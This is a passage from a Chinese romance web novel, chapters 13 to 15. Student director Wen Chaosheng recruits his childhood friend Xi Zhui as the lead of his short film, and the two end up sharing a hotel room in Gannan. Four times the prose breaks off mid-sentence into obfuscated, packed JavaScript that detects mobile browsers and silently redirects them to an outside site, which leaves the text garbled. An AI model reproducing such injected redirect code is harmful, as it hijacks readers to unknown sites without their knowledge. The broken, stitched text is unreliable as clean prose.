其实,不仅仅是喝酒的缘故。 为了修改《轮廓》的部分情节,闻潮声昨天还熬了一个通宵,这会儿在酒精的作用下,体内压制的困意自然而然就出来了。 “要不要睡一会儿?去里面。” “……” 闻潮声瞥了一眼里间的大床,忙不迭地摇了摇头,“不用了,不好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505239|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他没洗澡呢。 而且那是席追要休息的地方,不好的。 席追见他的脑袋摇成拨浪鼓,起身换了一种提议,“那你在沙发上靠着睡一会儿?” 闻潮声原本想要跟着起身,但只动了一下就不稳地跌坐回去,他懊恼地吸了口气,却很诚实地放任了醉意和困意。 “那我……我就休息十分钟,你待会儿可以叫我。” “多休息一会儿也没问题,没人赶你。” “唔。” 闻潮声没说话,将自己身前的背包搂紧了些。 席追垂眸扫去视线,“包里装了什么?这么宝贝?” 闻潮声打开了背包,拿出里面剧本的一角,哼哼唧唧,“我写的剧本,这个暑假就、就要拍了。” 他仰头,眼里的醉意跟着镜片朦朦胧胧,“席追……” “嗯?” “我要当导演了呢。” “……” 席追听清了他如同撒娇的呢喃,凑近,“是吗?那我可以看看你的剧本吗?” 闻潮声就没想过要拒绝眼前人的请求,任由醉意裹挟着真心点头,直接连同背包都递了上去,“给,都给你。” 席追接过这点重量,沾了点笑,“睡吧,不吵你了。” “好。” … 闻潮声不知道自己是在什么时候睡过去的,只觉得周围是软绵绵的温暖。 他梦见自己待在了一个豪华的电影片场里,忙碌的剧组人员来来往往,每个人都带着笑意喊 他“闻导”,他就站在监视器外,而监视器里的人是席追。 对方居然真的成了他电影里的男主角! “……” 一觉醒来,困意和醉意齐刷刷消失。 闻潮声本能地伸手揉眼,才意识到自己鼻梁上的眼镜早已经被人摘下了,肩膀上的被子跟着滑落。 “醒了?还困吗?” 一道平静的询问声音传来,驱散了闻潮声最后一丝混沌。 他抬眼,看见了边上坐着的席追。 四目相对。 闻潮声的“不好意思”立刻上线,“我睡了多久?” “一个小时不到。”席追抬了抬手,“你的剧本,我都还没看完。” “……” 剧本? 闻潮声才发现席追手里还揣着他的短篇剧本,双眼不自觉地睁大了些。 席追看见他的震惊,第一时间合上剧本,“是不能给我看?刚刚是你自己睡前答应的。” “没有,可以看。” “那就好,剧本写得挺好的,是你一个人创作的?” “嗯。” 闻潮声的内心升起一种隐秘的忐忑。 没等他弄明白这点情绪从何而来,席追就将没看完的剧本递回了他的面前,“闻潮声,问你个问题。” “什么?” “这剧本的男主原型,是我吗?” “……” 闻潮声突然间想起什么,神色明显闪躲。 席追捕捉到他的情绪变化,却假装没看懂,“开玩笑的,这男主角的性格和我也不太像。” “嗯吧。” 闻潮声慌乱地攥了一下指尖,暗暗祈祷着对方不要再发现自己的小巧思了。 但怕什么来什么。 席追当着他的面翻开第一页,指尖点上主角那栏,“但我发现了一个巧合,男主角的名字,叫唐遇。” 唐遇和席追,偏旁和部首都一样。 “……” 闻潮声的醉意已经彻底睡没了,此刻的他像是煮熟了的螃蟹,哪哪儿都红。 沉默在房间里蔓延。 席追却不着急,饶有兴致地盯着眼前人涨红了的脸。 闻潮声从小就不擅长狡辩和撒谎,好一会儿后,彻底想不出解释的他才嗡嗡出一句,“席追对不起。” 这算是承认了。 他当初写剧本的时候,确实是想到了席追,然后变着法地化用了他的名字。 席追早有预料地笑了,看似很大度地表态,“嗯,参考借鉴了我的名字也没关系,就不收你版权费了。” 13.【第013章·旧重逢】 闻潮声根本没意识到席追是在逗他玩,反而真的松了口气,“谢谢。” 果然,席追还是和小时候一样好。 席追没接话,但眸底的笑意浓了点,这才将合上的遮光窗帘重新打开。 闻潮声将他没看完的剧本递了回去,“给,你想看完吗?” 席追没急着接,“剧本应该要禁止外传吧?我不是剧组的主创,我能看完?” “你……你又不是外人。” 闻潮声顿了顿,语气很轻却挺坚定,“你是我朋友。” 从小到大,他遇见的、最好的朋友。 “……” 这声“朋友”犹如蜻蜓点水,触得心弦颤了颤。 席追接回剧本,指腹摩挲着纸页边缘,“你刚说要当导演了,是这电影要开拍了?” “嗯,最迟月中就要去甘南拍摄了。” 面对自己热爱的创作和拍摄,闻潮声的话总算多了些,“不过我们团队都是院里的学生,人数也不多,和那些大剧组没法比。” 席追回答,“加油,不是人多才能拍出好作品,用心才最重要。” 闻潮声多了一丝被肯定的欣喜,“嗯。” 席追对上他难得的明显笑脸,多问了一句,“剧本里的演员人选都定好了?” “差不多了。” 剧本里的角色很少,定起来很方便。 “男主原本找了大一届的学长,但他最近的档期很忙,我导师建议我重新找人。” 闻潮声心里已经有了答案:秦科大概会鸽掉他们这边的电影拍摄。 毕竟对方刚毕业就遇到了事业的上升期,在二选一的情况下,谁会放着钱不赚、名气不挣,花上一个月去甘南零片酬拍戏? 不过临了要重新找人出演,这事有些难办—— 一来是因为已经放假了,还留在电影学院的学生已经不多。 二来是‘唐遇’的外在形象得要符合剧本设定,找演员不是件容易事。 正想着,闻潮声的视线猛然定格在了席追的身上,虽然对方大概率不记得了,但他从来没有忘记自己小时候的承诺—— “席追,我以后要是能当导演,你来当我的电影主角,好不好?” 《轮廓》这剧本是闻潮声高中时期构思并且动笔的,在塑造“唐遇”这号人物时,他在字里行间确实融合了自己对席追的想象。 当初心中设想的剧本男主角,如今不就在眼前? 闻潮声欲言又止,“席追,我……” 四目相对,无言间滋养出一种天生的默契。 席追洞悉了闻潮声那点弦外之音,挑眉,“这么看我做什么?难道想让我出演你的电影男主?” 没想到,向来温吞的闻潮声在这件事情上却没含糊,“嗯,想的。” “……” “席追,你能考虑一下吗?是短片电影,虽然要去甘南实景拍摄,但总体的拍摄期不长,绝对不会耽误你返校上学的。” 他们剧组在“演员片酬”这一栏上的预算很少很少,不过,如果席追愿意出演,闻潮声决定自掏腰包支付对方的片酬,以及在拍摄期间的一切开销。 “……” 席追不知道闻潮声已经想得那么远了。 这些年在国外读书,他曾被沈照野拉去当过几回珠宝饰品的平面模特,也为了期末学分当过两回话剧社团的剧目演员。 但也仅此而已。 这次回国,席追单纯是以放松度假为主,根本没想过要去拍电影演戏? 可对上闻潮声诚恳的眼神,席追的拒绝到了嘴边却转了调: “让我出演?你这是打算给我开后门?” “……” 闻潮声被这句话问住了。 他是《轮廓》的编剧兼导演,也是这次拍摄团队的总负责人。 按理来说,闻潮声确实有权利决定演员的人选,但他不会滥用这个职权,那是对整个剧组以及这个电影作品的不负责。 过了好几秒,闻潮声才很有原则地喃喃,“那、那是不行的,我就是觉得你的外形很合适,想邀请你来试试。” 不过,只要席追愿意试镜,只要对方的试镜演绎能过及格线,那就够了。 “是吗?” 席追饶有深意地翻着手中的剧本,很是故意,“外形合适,名字也大差不差,看来我和这个角色确实很……有缘。” 闻潮声闷哼一声,还有些心虚。 席追不再逗他,眉眼揣着点认真,“我得考虑一下,没办法直接答复你。” 毕竟这事,不在他的短期计划内。 闻潮声点头,“好的。” 席追拿出手机,“要加个微信吗?” 闻潮声不由自主地吸了口气,又用力点头,“要的。” 滋滋—— 微信好友顺利通过。 下一秒,微信上的语音电话就弹了出来,是宋雪兰打来的。 闻潮声看了席追一眼,接通,“喂,妈妈。” “小声,你是提前走了吗?给你发了那么多消息都没回。” “……” 闻潮声刚才睡着了,没看见。 他确认了一下当前的时间,连忙回答,“我还没走,马上就回宴会厅。” 宋雪兰说,“行,那我等你一起回家。” “好的。” 电话挂断。 闻潮声重新戴上了自己的黑框眼镜,“席追,我得先走了,我妈在等我。” 席追没阻拦,“好,别让宋阿姨等太久,代我向她再问声好。” “嗯。” 闻潮声颔首,又注意到了自己身边的被子,他怕席追介意自己盖过,“这被子,我给你换一床吧。” “没关系,有客房服务。” “那好吧。” 闻潮声起身,拿好自己的背包。 他看着久别重逢的席追,纠结了好几秒,才鼓足勇气上前拥抱了一下,“席追,欢迎回来。” 短暂的、不带任何非分念头的拥抱,甚至不敢太用力。 即便如此,闻潮声还是被自己的冒失击地脑袋发晕,羞涩得不敢抬头再看席追。 “……” 席追沉默着,微微低头。 从他这个角度,正巧可以看见闻潮声白皙的后颈荡起一片绯红,甚至还有一颗褐色小痣点缀其中。 席追迅速移开眼,抬手,状似不经意地蹭了这人微卷的发梢,“谢谢,收到你的欢迎了。” 闻潮声内心深处隐隐有点舍不得,“那再见?” 席追的嘴角多了点弧度,“下次见。” “……” 下次见? 闻潮声轻易被这三个字哄得开心,应声后,脚步轻快地离开了。 门轻声合上,室内恢复了安静。 直到这时,席追才露出被压制的真实情绪,皱眉揉着自己发胀的太阳穴—— 经过长时间的飞行又没来得及调整时差,再加上对酒店床被的不适应,休息不足的他早已经疲惫到头痛。 席追重新坐回在沙发上,随手拿起被闻潮声盖过的被子。 刹那间,一股浅淡却莫名熟悉的香味萦绕在了鼻端,席追凑近闻了闻,确定了来源。 “……” 多大了? 这人不会还在用宝宝霜吧? 席追失笑,紧绷胀痛的神经不自觉地放松了几分。 叮咚,门铃声忽然响起。 席追打开门,客房服务就推着布草车站在外面。 “先生您好,刚刚有位先生来找我,说是您的房间需要换被单?” 说着,服务人员的视线就看准了外厅沙发上的被子。 下一秒,席追侧身挡住她的视线,语气平淡却不容置疑,“暂时不用。” 服务人员微微一愣,又露出职业性的微笑,“好的,如果之后有需要,可以随时联系,先不打扰了。” 席追冷淡地“嗯”了一声,关上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511484|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他重新回到沙发边,一言不发地将被子拿回到了自己的睡卧。 … 转眼过去了三天。 炽热的阳光透进美术教室的窗户,空气中漂浮着无数细小的灰尘。 闻潮声端坐在位置上,认真审查着电脑里现有的试镜片段。 和他料想得一样,秦科最终选择退出了电影拍摄,导师乔良通过自己的人脉,迅速给剧组找了四位演员候选,有本校的表演系学生,也有两家经纪公司刚签约的新人。 林可漾比闻潮声还大一届,充当这次《轮廓》的场务兼副导演。 她走到闻潮声的身边,试探,“潮声,这男主角的人选你到底是怎么想的?我们最晚下周六就要出发了,怎么一点儿不见你着急?” 闻潮声的视线从电脑画面上移开,如实说,“这四位都不太合适,就是……那种感觉不对。” “感觉?” 林可漾犯了难,总觉得在闻潮声的身上看见了圈内大导都有的通病—— 抠细节还较真,最重要的是讲、感、觉! 孙选是剧组团队里的摄像,正在在角落里摆弄着临时用来录制的相机。 听见这话,他忍不住开口,“不是,你这说法未免太笼统了啊,凭‘感觉’得怎么找演员啊?” “……” 闻潮声也知道自己的说法太抽象了,却不好解释。 今天这轮试镜是导师乔良临时安排的,他暗戳戳地给席追发去了地址和时间,可惜对方没有回复,也没有来。 闻潮声不死心,又打开手机看微信,“其实我找了……” 话没说完,虚掩的教室门就被人从外推开了,发出了轻微的刺啦声。 紧接着,一道声音响起,“不好意思,来迟了。” 不是刻意压嗓的低沉磁性,也不同少年人的清亮活泼,而是介于两者之间的苏冷感。 孙选正在把玩着自己的相机,听见这声,下意识地就挪动了镜头—— 此刻,一名身材高挑的年轻人站在教室外,眉眼冷峻,鼻梁高挺,轮廓线条流畅,五官在相机屏幕里几乎没有缺点和瑕疵。 兴许是察觉到镜头的存在,对方毫不闪躲地投来一道视线,那双深棕色的瞳孔里没有多余的情绪,带着一种与生俱来的距离感。 孙选看着相机屏幕里的人 ,低声发出一声惊叹,“我靠。” 这人是谁啊?怎么之前没在学校见过? 要知道,摄像机器是最骗不了人的,对方长着一张上镜到老天爷都赏饭吃的脸! 席追并不在意外人的眼光,已然收回了那点疏离的视线,他确认了闻潮声的位置,径直走了过去。 “……” 早在席追出现在门口的那一刻起,闻潮声的目光就已经定格了,眼见着对方一步步靠近,他的心居然莫名其妙有了一种不受控的失速感。 短短几秒,席追停在了他的跟前,“抱歉,第一次来你们学校,不太熟悉,又找不到人问路,才耽搁了一点儿时间。” 边上的林可漾没料到还会出现这么一号人物,眸光骤亮。 她突然就明白闻潮声刚才说的“感觉”到底是个什么意思了!眼前这人简直就是剧本里走出来的“唐遇”! 林可漾和角落里的孙选对了一道视线,率先提问,“这位同学,请问你是?” “你们好,我叫席追。” 席追说着自我介绍,眼神却始终停留在闻潮声的脸上,“这位就是导演吗?” 对方似乎是不相信他真的会来,睁着大眼睛的模样很呆。 林可漾接话,“是的是的!这位就是闻导。” 席追藏住眼底的笑意,将手撑在闻潮声电脑的两侧,却装得像是两人第一次见面,“导演看着年纪好小,成年了吗?” 闻潮声卡壳,“你……我……” 席追还是没忍住弯了弯嘴角,第一次面对面地喊出那个称呼。 “闻导好,我来试个镜。” 14.【第014章·旧重逢】 这场试镜的情节不算难—— 剧本里的男主唐遇是美术学院雕塑系的学生,在校期间就凭着自己的泥雕作品获奖项无数。 临近毕业,他却意外地在毕业作品的灵感和呈现上受挫,怎么都设计不出令自己满意的泥塑作品。 没有特定的台词,没有规定的动作。 只要求试镜演员们表现出唐遇在独自创作时的不顺,至于神情和动作,任由他们在看完人物小传后自行发挥。 闻潮声重新调整了教室灯具的位置。 这一会儿的功夫,四周的窗帘已经全部拉上了,昏暗的室内只留下了一盏橘黄色调的射灯,悄然立在在席追的斜后方。 光影朦胧,却恰到好处地在镜头中勾勒出席追近乎完美的轮廓。 制造艺术的人,本身就是艺术。 试镜已经开始了。 席追饰演的唐遇站在一尊没能细化的泥塑前,目光一瞬不瞬地胶着在上方,他的脸上没有过多的情绪,但轻微起伏的胸口还是出卖了他内心深处的焦躁。 他抬起手,指尖悬在泥塑那双呆滞而空洞的“双眼”,却迟迟没有动作,看似平稳的眸光闪露一丝纠结。 一秒,两秒,三秒—— 在昏暗的裹挟下,时间的流转变得极其缓慢。 终于,站在泥塑前的年轻人有了决绝的动作,他的指尖用力一划,冷漠又利落地将“那双眼”抹成了平坦的泥面。 他后退半步,将自己的身影融进孤寂的光里,拿起一旁的抹布,一点点将指尖的黏土擦拭干净。 没有大幅度的糅杂和毁坏,也没有歇斯底里的发泄,只是用着最轻柔也最无情的举动,以造物者的姿态和这尊费尽心血却始终不够完美的作品划清了界限。 … 不到一分钟的演绎,却彻底折服了同场观看的林可漾和孙选。 按照要求,身为试镜演员的席追得先离场。 孙选回看着相机里拍摄到的画面,啧啧称奇,“我服了,是从哪里找到的这号帅哥?光看这身高、这张脸,我双手双脚支持他出演!” “确实,长得是真的帅,演得也很不错,方方面面都很贴合男主角。” 剧本中的唐遇看似温润如玉,实际上是个冷情冷性,甚至有些孤傲。 哪怕内心对于自己的失败带着不甘,他却还是以高高在上的姿态将其掩盖,不会对外透露分毫。 前面几位演员给出的试镜片段,给出的都是很明显、很外化的神色演绎,更有人直接用力捣毁了泥塑,以此来宣泄内心的烦躁,想要塑造出角色独自时的反差。 只有席追给出的反应是内敛、是细腻的。 林可漾同样觉得剧组挖到宝了,又将问题抛给闻潮声,“潮声,你是导演,你觉得呢?他也是乔良老师推荐的?” 试镜已经结束了,闻潮声这才如实说,“他是我朋友,是我请他来试一试的,没想到他会演得那么好。” 说实话,席追刚才的演绎确实出乎了他的预料,很难想象不是科班出身。 闻潮声推了推眼镜,“刚才没和你们明说,是怕你们误会我……” 孙选抢答,“误会你给他走后门啊?拜托,我觉得席追不比秦科学长差,你有这种朋友早说不就好了?我们哪里还需要费时间去搞什么试镜啊了!” 林可漾跟着笑,“就是。” 没实力硬塞进来的,那才叫不可取的走后门。 席追这样的,明摆着就是剧本主演的第一人选啊,这不就是在给剧组节省时间吗? 明明是夸席追的话,闻潮声听着却脸热了。 他连忙把自己的电脑递过去,“孙选,你把席追的视频也导出来,和另外四段一起发给乔良老师再看看。” “好的。” 孙选拿过平板,走到一旁拉开紧闭的窗帘,开始忙碌。 外面的光亮重新透了进来。 林可漾像是突然想起了什么,贴近和闻潮声开玩笑,“说实话,虽然不算开后门,但你还是偏心了吧?” 闻潮声一愣,“嗯?” 林可漾用眼神示意那盏特意调整过位置的射灯,“喏。” “……” 闻潮声端起边上的水喝了一口,企图装傻,但泛红的耳根还是出卖了他的答案。 哪怕只是一分钟的试镜画面,却在开拍前特意给席追找了最好看的角度,在镜头里给他制造最好的光影氛围感。 作为剧本的创作者、电影拍摄的执行者—— 那一束光,就是闻潮声隐藏在剧本之外的私心。 … 闻潮声收拾干净了试镜的教室场地,才和朋友们分开,独自走出了学校。 ——滴滴。 边上停着的黑车响起喇叭,紧接着传来熟悉的一声,“闻潮声。” 闻潮声探去视线,才发现席追在车里坐着,他惊讶,“席追?你、你一直等在这里吗?” “没等很久。” 席追手控打开副驾的车门,干脆示意,“你是要回家?上来,我送你。” 闻潮声没舍得拒绝这份突如其来的邀请,开门上车,他悄悄打量着车里的布局和装饰,“这是你的车子吗?看着好新。” 席追干脆承认,“我爷爷早两年送我的成人礼,这次回国才开上,系好安全带,输入你家地址。” “哦。” 闻潮声没在这个话题过多停留,而是说,“我还以为,你今天不会来了呢。” 席追解释,“难得回国,今天一大家子在聚餐,所以没及时去看微信消息,不是故意不回你。” 两人加上微信后,闻潮声一直没有吭声。 席追原本还以为对方已经找到了更合适的演员,不打算继续说服自己去试镜,没想到,今天又会收到了对方发来的试镜消息和邀请。 席追发动车子,“《轮廓》的剧本我看完了,写得很好。” 闻潮声得到关于剧本的肯定,藏在镜片下的眼中透着点雀跃。 他想起席追刚才出人意料的试镜表现,一本正经,“席追,我都不知道你这么会演戏,比一些科班的演员都要好。” “……” 席追笑了笑,反问他,“是吗?闻导,那我有机会被选上吗?” 明明是一个极其简单的称呼,但从席追口中说出,就是带着一种难以言喻的微妙感,特别振奋人心。 闻潮声暗暗吸了一口气,“应该是没问题的。” 虽然试镜片段还要交给导师乔良过目,但综合考虑下来,眼前人绝对是最佳人选。 闻潮声再三确认,“你真的愿意出演吗?” “嗯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517835|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们月中就要动身前往甘南,而且能分给主演的片酬基本上没有。” 闻潮声说明真实情况,又补充,“但你如果需要片酬,我可以……” 席追的手轻叩在方向盘上,打断,“闻潮声,你看我像缺这点片酬?” 闻潮声摇头。 席家有钱,还不是一般的有钱。 “我愿意来,一是看在你这位朋友的面子上,二是没拍过电影,借机尝试一下。” 席追制止了闻潮声不必要的担心,又想起了什么,“何况,我还记得你说过……” 闻潮声一时没反应过来,“我?说什么?” 趁着红灯等待的功夫,席追用略带戏谑的眼神看向闻潮声,故意学着他慢悠悠的语调: “席追,我以后要是能当导演,你来当我的电影主角,好不好?” “……” 闻潮声当场觉得自己像烧开的电热水壶,脑袋上都快跟着冒气,他扭头避开席追逗弄的目光,打开窗透气。 过了好一会儿,他才结结巴巴地开口,“原来你还、还记着呢,我以为你早忘记了。” 席追失笑,继续行驶车子,“嗯,你小时候一板一眼说得太认真了,想忘记都难。” “哦。” 闻潮声也没想到,幼时的承诺居然成了真—— 他不仅马上就要拍摄自己的电影作品,而且电影男主还是席追! 闻潮声的内心很期待,等到脸上的热意稍降,他才故作镇定,“等我的导师最终确认后,我再通知你具体的出发时间。” 席追眉梢微挑,很配合地应话,“好的,闻导。” … 结合剧本情节,实景的拍摄地点定在了甘南。 毕竟还是在校大学生,又是名义上的“学生作品”,所谓剧组的规模实在不大,主创团队只有不到十人—— 导演闻潮声,主演席追,另外一位重要角色是甘南本地的演员。 林可漾是副导演兼场务对接事宜,除此之外,她还拉上了自己的男朋友当搬运苦力。 孙选和同班的廖奇包揽了摄像摄影、以及道具和服装,而剧组的化妆师,是林可漾提前在网络上沟通好的,也是甘南当地人。 至于其他出场时间短的配角、拍摄场地以及拍摄器材,则全权交给了甘南文旅局安排,已经由校方出面提前打过招呼了。 七月中旬,一行人终于踏上了拍摄的旅程。 从飞机中转到落地驱车,等赶到甘南的鹿曲县时已经晚上七点了。 林可漾一人兼顾多职,提早订好了县城里的酒店。 她从前台那边拿回三张房卡,走回到大厅的休息区,环视一圈后说,“出现了一个小问题。” 长途跋涉的孙选累得够呛,只想要原地睡过去了,“怎么了?我和廖奇是睡一间吧?快把房卡给我。” “原本定了四个大床房,但刚刚酒店前台告诉我——”林可漾也不废话,“三楼有一间大床房的水管破裂,暂时没修好,还淹了木地板,这两天住不了了。” 她先将其中的一张房卡递给递给孙选,“你还是和廖奇住,我和我男朋友一间,至于最后一间大床房……” 林可漾看向了剩下的闻潮声和席追,将剩下的那张房卡递了上去。 “你们俩暂时睡一间,可以吗?” 15.【第015章·旧情愫】 席追垂眸看向林可漾手中的房卡,再次确认,“大床房?” “对,是大床房,不是双床标间。” 林可漾怕两人不习惯,特意说明情况,“放心,我预定前就确认过了床型尺寸,睡下两个男生绰绰有余。” 这家酒店的大床房一晚上要比标间便宜十几块,整个拍摄期就能省下不少。 虽然学校是给他们拨了拍摄资金,但前期的服化道筹备已经花了不少钱。 为了给后续的拍摄开支留有空间,在住宿方面,他们主创商量好的原则是能省则省。 即便如此,闻潮声和席追身为剧组的两大核心人物,原先还是一人安排了一间大床房。 这不,酒店临时出现了状况,纯属不可抗力。 “……” 闻潮声听见这一意外情况,看向席追的目光变得忐忑起来。 为了节省剧组开支、把钱都花在拍摄上,他愿意服从林可漾的一切安排,可后者不同—— 席追是正儿八经的有钱少爷,平日在酒店住宿上的花销拨万轮千。 现在为了和他们一块儿拍戏,住在县城的普通酒店已经是放低生活水准了,怎么能和他挤在一间大床房? 闻潮声想到这儿,难得急在席追开口前,“等一下,我用自己的钱再订一间房吧。” 林可漾打断,“现在不是钱的问题,我已经问过前台了,这家酒店的房间都已经订满了,别说是单人间,就连标准间也得三天后才有空。” 甘南这两年旅游业发展不错,暑假旺季,自然少不了游客。 “你们俩不是朋友吗?住一块不方便?”孙选忍不住插嘴,大大咧咧,“这导演和主演住一块,正好可以讨论剧情啊。” “……” 闻潮声没话说了。 席追看向一脸犯难的闻潮声,总算开了口,“你很想自己一个人睡?” 闻潮声嗡声,“不是,我怎么样都可以。” 席追确认了他的意愿,主动抽走剩下的那张房卡,“那就先这样吧,我服从剧组安排,大家都累了,回房间休息吧。” 闻潮声见此,只好默认了这一提议。 … 一行人的房间位置有些分散,席追拿到的房卡号在走廊的最右间。 走廊里的光线灰蒙蒙,还散发着一股空气不流通的潮湿味,铺在地上的毛毯更是泛着老旧的色调。 闻潮声走在后面,望着席追的背影越发心里没底—— 这家酒店算不上差,但也绝对称不上很好,不知道大床房的环境设施怎么样?席追待会儿会不会嫌弃? 最重要的是,他们今晚还要睡在同一张床上! 直到在房间门口站定,酝酿了许久的闻潮声才开口,“抱歉,席追。” 席追听见他这声意料之外的道歉,偏过视线,“为什么突然道歉?” 闻潮声缓缓地说,“委屈你和我挤一间房了,我怕你住不习惯。” “……” 席追怔住,一时不知道是该哭还是该笑,“闻潮声,你真把我当成养尊处优的少爷了?” 闻潮声反问,“难道不是吗?” 在他看来,席追就该配得上最好的一切。 席追对上眼前人的一本正经,没招了。 他无奈地叹了口气,承认,“是,我这人是挺排外,愿意在能力范围内给自己挑最好的。” 要是今天这情况换成不熟悉的人,席追绝对会想办法找另外的酒店单独住。 但眼下要合住的人是闻潮声,席追依稀记起小时候夏令营里的那几个晚上,打从心底不排斥。 席追换了一种说辞,解释,“我之前和照野、逢一他们去野外拉练,连孤山老林都夜宿过,没你想象得那么讲究。” 闻潮声稍稍安心了些,“哦,那好吧。” “好了,不要多想了。”席追忍住那点微不足道的头疼,温声催促,“抓紧时间进屋收拾,然后休息。” 用房卡开了门,亮了灯。 闻潮声才发现自己的担心很多余,大床房的布局远比想象得要好很多,干净整洁。 闻潮声暗松一口气,将行李推到角落,“席追,你先收拾吧?我去找学姐对接一下拍摄事宜。” 说着,他又暗戳戳目测了一下床的大小,“我、我待会儿再让酒店房务送一床被子过来?” 睡一张床可以,总不能盖一条被子吧?要不然,他肯定会紧张得睡不着觉! “……” 席追听见这刻意补充的后半句话,暗笑,“好,听你的。” … 临近十点,闻潮声才回了房间。 房间里很安静,主灯已经关闭了,只留下床上方的一排睡眠灯。 席追已经洗漱完了,穿着纯黑色的睡衣躺在床上,听到动静的他抬起头,蹙眉和闻潮声交汇了一下目光。 “回来了?” “嗯,我向前台拿了一张备用房卡。” 闻潮声察觉出他的低气压,一时踌躇地不敢走得太近,“我吵到你了吗?” 席追重新靠回枕头上,向来平静的语气此刻带着一丝隐忍,“没有,本来就睡不着。” “……” 闻潮声这才注意到他在光下不正常的脸色,连忙走近,“席追,你不舒服吗?” 席追索性不再隐藏,“头疼,估计是有点高反了。” 前些年,席追也去过高海拔的地区旅游,从来没有出现过高反情况,所以他没料到这次会中招。 原本还只是隐隐约约的头疼,简单冲个澡后,身体的不适就加剧了。 席追忍着不适,“我睡一觉就好。” 说到底,是他疏忽大意了,怨不得旁人。 闻潮声难得反驳,“不行的!这事不能逞强。” 林可漾的男朋友刚刚也出现了高反症状,正吸氧呢,高反严重起来可不是开玩笑的。 闻潮声想到这儿,主动拨通了前台的电话,“酒店有便携式的吸氧机,我让人送上来给你。” 席追的呼吸声重了点,没拒绝。 五分钟后,便携式的吸氧机出现在了床头柜上,酒店人员不止一次面对过住客高反,操作很娴熟。 “先生,已经给你调到最合适的自动供氧模式,定时了,每次吸氧时间二十到三十分钟,红色的是开关,你可以根据自己的身体情况调节吸氧频率。” “如果后续还是感到不适、或者情况加重,请一定要及时联系我们送医。” “谢谢。”席追接过酒店人员递来的一次性的吸氧面罩,扣了上去。 闻潮声全程默默缩在边上,不仅和酒店人员隔了点距离,而且还避开了有可能的眼神对视。 等到对方离开房间,他的神色才松弛下来,又一次凑回到席追的床边。 席追将他一系列的反应尽收眼底,暗暗发笑,“怎么社恐成这样?” “……我没有。” 闻潮声掩饰,转移话题,“你多吸两口,有不舒服就告诉我。” 席追点头,“你去洗漱吧,今晚先别洗头了,免得和我一样中招。” “嗯。” 闻潮声拿着换洗衣物进了浴室。 等到再出来时,席追已经扣着氧气口罩重新躺下了。 闻潮声看着空出来的床位和被子,又看着已经闭眼的席追,心尖凝上一丝难以言喻的紧张。 他轻手轻脚地爬上床、盖着被子躺得笔直,甚至努力控制着自己的呼吸声,生怕打扰到身体不适的席追。 忽然间,席追出声,“躺得这么僵硬,又不关灯,能睡得着?” “啊?”闻潮声偏过视线,目光却错开他的侧脸,虚虚地落在后面的吸氧机上,“我可以的,你好点了吗?” “……” 席追沉默着关闭了床头灯,留下最微弱的一束地灯,他重新侧身躺下,视线在昏暗中仍然锁定了闻潮声。 闻潮声被他看得不自在,呼吸颤了颤,“席追?” 席追这才回答了前一个问题,“我的头还很疼。” 声音透过口罩传来,显得有些沉闷,隐约流露出一种不对外人展露的疲惫和脆弱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522589|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻潮声没忍住侧过身,隔着被子和他面对面,“你闭上眼睛安心睡吧,我替你看着吸氧的时间。” “……” 没了镜片的遮挡,昏暗中,闻潮声的眼睛氤氲出一种近乎纯净的色泽,很漂亮。 席追莫名回想起了小时候那次的夏令营,那些本该模糊的画面在此刻变得格外清晰。 他慢了几秒才开口,“我认床,头疼得厉害,估计今晚睡不好。” 闻潮声犯了难,“那怎么办?我能帮你做什么吗?” 席追深吸一口气,顺理成章地要求,“给我讲个睡前故事吧。” 闻潮声顿了一下,“嗯?” 席追问他,“这么多年过去了,那颗聪明豆到底被谁拿走了?” “怎么连这都还记得?”闻潮声睁大眼睛,慢了好几拍才说,“你小时候说过这故事很无聊。” “怎么还记仇?”席追笑了声,旋即又因为剧烈的疼痛蹙了眉心。 闻潮声望着席追明显不适的神色,软声提议,“要不,我给你揉揉太阳穴和后颈?” 他之前在家学着宋雪兰按过,对方说挺舒服的,虽然按摩不治本,但应该能帮忙放松紧绷的神经、有助于睡眠。 “……” 